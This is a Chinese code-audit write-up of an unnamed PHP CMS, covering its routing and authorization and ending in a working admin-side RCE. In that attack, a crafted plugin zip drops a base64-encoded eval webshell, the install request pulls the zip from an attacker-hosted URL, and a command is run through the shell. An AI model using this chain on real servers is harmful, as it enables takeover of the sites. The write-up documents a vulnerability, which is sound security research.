某PHPCMS代码审计

admin 2024年11月5日10:20:00评论10 views字数 6336阅读21分7秒阅读模式

项目介绍

该CMS兼容PHP5.6-PHP7,可使用 MySQL 或 PostgreSQL ,使用了Pimple依赖注入容器去实现存储各种服务和对象的实例,例如控制器的注册和管理,中间件的注册。

功能特性:

  • 简洁、美观的界面

  • 支持多主题

  • 可视化的任务管理

  • 支持列表、看板和甘特图等任务视图

  • 可拖拽式的任务操作

  • 支持多语言,内置英文和简体中文语言包

  • 过滤搜索

  • 可创建团队项目和个人项目

  • 支持任务、子任务、附件和评论

  • 动作自动触发

  • 可视化的统计

  • 第三方集成

  • 支持插件

部署

一. 设置配置文件

cp .env.example .env
APP_ENV=production
APP_DEBUG=true
APP_KEY=SomeRandomString
APP_TIMEZONE=Asia/Shanghai
APP_LOCALE=zh-CN
APP_THEME=black
APP_LOG=daily
APP_LOG_LEVEL=error
APP_URL=http://localhost

DB_CONNECTION=mysql
DB_HOST=127.0.0.1
DB_PORT=3306
DB_DATABASE=xxx
DB_USERNAME=root
DB_PASSWORD=123456

二. 安装依赖包

先把composer.json的49行开始的改成这样

"autoload" : {
"classmap" : ["app/"],
"psr-4" : {
"cmsname\" : "app/",
"PicoDb\": "vendor/cmsname/picodb/src/",
"SimpleLogger\":"vendor/cmsname/simple-logger/src",
"JsonRPC\":"vendor/cmsname/json-rpc/src",
"SimpleValidator\":"vendor/cmsname/simple-validator/src"
},
"files" : [
"app/helpers.php"
]
},

不然后面就会加载不出UrlParser类,上nginx的时候会找不到SimpleLogger和JsonRPC还有Validator

出现如下找不到对应类的报错

Phinx by Rob Morgan - https://phinx.org. 0.6.6
using config file ./phinx.php
PHP Fatal error: Uncaught Error: Class 'PicoDbUrlParser' not found in /var/www/cmsname/bootstrap/autoload.php:17
Stack trace:
#0 /var/www/cmsname/phinx.php(18): require()
#1 /var/www/cmsname/vendor/robmorgan/phinx/src/Phinx/Config/Config.php(111): include('/var/www/jitami...')
#2 /var/www/cmsname/vendor/robmorgan/phinx/src/Phinx/Console/Command/AbstractCommand.php(248): PhinxConfigConfig::fromPhp('/var/www/jitami...')
#3 /var/www/cmsname/vendor/robmorgan/phinx/src/Phinx/Console/Command/AbstractCommand.php(92): PhinxConsoleCommandAbstractCommand->loadConfig(Object(SymfonyComponentConsoleInputArgvInput), Object(SymfonyComponentConsoleOutputConsoleOutput))
#4 /var/www/cmsname/vendor/robmorgan/phinx/src/Phinx/Console/Command/Migrate.php(72): PhinxConsoleCommandAbstractCommand->bootstrap(Object(SymfonyComponentConsoleInputArgvInput), Object(SymfonyComponentConsoleOutputConsoleOutput))
#5 /var/www/cmsname/vendor/symfony/console/Command/Command.php(251): PhinxConsoleCommandMigrate->execute(Object(Symfony in /var/www/cmsname/bootstrap/autoload.php on line 17

之后 composer install

这里在win可能会出现错误,可选择在linux环境下载依赖,再把/vendor复制过来

三. 安装数据库迁移和初始数据

  • 创建数据表

vendor/bin/phinx migrate
  • 安装初始数据

vendor/bin/phinx seed:run

四. 确保bootstrap/cache和storage目录可写。

$ chmod -R 0777 bootstrap/cache
$ chmod -R 0777 storage

五. 配置Web服务器

将Web服务器的根目录指向 public/

路由转发

  • 启动时bootstrap/app.php里面调用Container.php的register(ServiceProviderInterface $provider, array $values = array())去加载各种服务

某PHPCMS代码审计

  • ServiceProviderInterface接口的路由部分被RouteServiceProvider实现,我们主要关注这个路由的ServiceProvider

  • RouteServiceProvider类实现了 ServiceProviderInterface 接口,负责将路由相关的服务注册到容器中。

  • 通过register()方法,将 Route 和 Router 注册到 Pimple 容器中,遍历加载routes目录下面的路由表。

某PHPCMS代码审计

  • 进到index.php的excute(),在Application.php类里面跟进到,有个$this->container['router']->dispatch();

某PHPCMS代码审计

某PHPCMS代码审计

  • 因为$controller === '',进到findRoute(),也就是之前被注册的Route类里面,然后去解析出来controller,action,plugin。

某PHPCMS代码审计

某PHPCMS代码审计

  • 回到Application.php,执行executeMiddleware()加载中间件,执行executeController()加载控制器,

某PHPCMS代码审计

  • 调用 $controllerObject->{$this->router->getAction()}(); (调了在Router.php里面的方法)执行具体的控制器动作。

某PHPCMS代码审计

其实就是executeMiddleware一个反射,先$controllerObject = new controller(),再$controllerObject->{$this->router->getAction()}()

鉴权分析

Foundation/Security/Role.php里面划分了权限等级

class Role
{
const APP_ADMIN = 'app-admin';
const APP_MANAGER = 'app-manager';
const APP_USER = 'app-user';
const APP_PUBLIC = 'app-public';

const PROJECT_MANAGER = 'project-manager';
const PROJECT_MEMBER = 'project-member';
const PROJECT_VIEWER = 'project-viewer';

/**
* Get application roles.
*
* @return array
*/
public function getApplicationRoles()
{
return [
self::APP_ADMIN => t('Administrator'),
self::APP_MANAGER => t('Manager'),
self::APP_USER => t('User'),
];
}
/**
* Get project roles.
*
* @return array
*/
public function getProjectRoles()
{
return [
self::PROJECT_MANAGER => t('Project Manager'),
self::PROJECT_MEMBER => t('Project Member'),
self::PROJECT_VIEWER => t('Project Viewer'),
];
}
}

鉴权的服务也是像上面关于路由转发的流程一样,往容器里面注册一个AuthServiceProvider(鉴权部分先注册)

某PHPCMS代码审计

然后在getProjectAccessMap()里依据上面划分的权限,分配了各个Controller的权限

某PHPCMS代码审计

在访问login路由时,由app/Http/Controllers/Auth/AuthController.php实现鉴权,会进到login方法

某PHPCMS代码审计

登陆时会进到login下面的check方法

某PHPCMS代码审计

cookie的部分是app/Foundation/Session/SessionManager.php,生成JM_SID,app/Foundation/Http/RememberMeCookie.php,生成JM_RM

某PHPCMS代码审计

漏洞挖掘

后台漏洞-插件RCE

访问路由时,index.php会require bootstrap/app.php,类似java的SPI会调用各个Provider的register。

某PHPCMS代码审计

PluginServiceProvider会扫描插件

某PHPCMS代码审计

scan()方法扫描plugins目录下有无目录,有的话先执行loadSchema。

某PHPCMS代码审计

hasSchema()->getSchemaFilename()去找/pluginName/Schema/mysql.php,取决于使用哪种数据库

public function loadSchema($pluginName)
{
if (SchemaHandler::hasSchema($pluginName)) {
$schemaHandler = new SchemaHandler($this->container);
$schemaHandler->loadSchema($pluginName);
}
}

public static function hasSchema($pluginName)
{
return file_exists(self::getSchemaFilename($pluginName));
}
public static function getSchemaFilename($pluginName)
{
return PLUGINS_DIR.'/'.$pluginName.'/Schema/'.ucfirst(DB_DRIVER).'.php';
}

如果找到的话就loadSchema()去require

public function loadSchema($pluginName)
{
require_once self::getSchemaFilename($pluginName);
$this->migrateSchema($pluginName);
}

根据上述流程做一个压缩包test.zip,结构为test/Schema/mysql.php

某PHPCMS代码审计

mysql.php

file_put_contents("webshell.php",base64_decode("PD9waHAgQGV2YWwoJF9HRVRbMV0pOw=="));
if(file_exists("../plugins/ABC")){
deldir("../plugins/ABC");
}
function deldir($dir) {
//先删除目录下的文件:
$dh=opendir($dir);
while ($file=readdir($dh)) {
if($file!="." && $file!="..") {
$fullpath=$dir."/".$file;
if(!is_dir($fullpath)) {
unlink($fullpath);
} else {
deldir($fullpath);
}
}
}

closedir($dh);
//删除当前文件夹:
if(rmdir($dir)) {
return true;
} else {
return false;
}
}

在app/Http/Controllers/Admin/PluginController.php里面,archive_url可控,按照之前对于路由的分析,action=install即可触发,路由为Admin/PluginController

public function install()
{
$pluginArchiveUrl = urldecode($this->request->getStringParam('archive_url'));

try {
$installer = new Installer($this->container);
$installer->install($pluginArchiveUrl);
$this->flash->success(t('Plugin installed successfully.'));
} catch (PluginInstallerException $e) {
$this->flash->failure($e->getMessage());
}

$this->response->redirect($this->helper->url->to('Admin/PluginController', 'show'));
}

把压缩包挂在自己vps上,admin登陆后访问

http://127.0.0.1/?controller=Admin/PluginController&action=install&archive_url=http://yourIP:port/test.zip

去触发下载插件

完成RCE

http://127.0.0.1/webshell.php?1=system(%22whoami%22);

某PHPCMS代码审计

潜在危害

任意文件读取 filename部分可控。前缀不可控。

http://127.0.0.1/?controller=Profile/AvatarController&action=image&user_id=1&size=123

这个只能实现读取admin头像

$filename = $this->path.DIRECTORY_SEPARATOR.$key;
if (!file_exists($filename)) {
throw new ObjectStorageException('File not found: '.$filename);
}
return file_get_contents($filename);

filename从数据库里取,上传头像那里路径完全不可控,avator难以利用。如果找到一个sql注入,修改user里的avator地址那么就可以实现读取任意文件。

原文始发于微信公众号(UKFC安全):某PHPCMS代码审计

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年11月5日10:20:00
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   某PHPCMS代码审计https://cn-sec.com/archives/3356831.html

发表评论

匿名网友 填写信息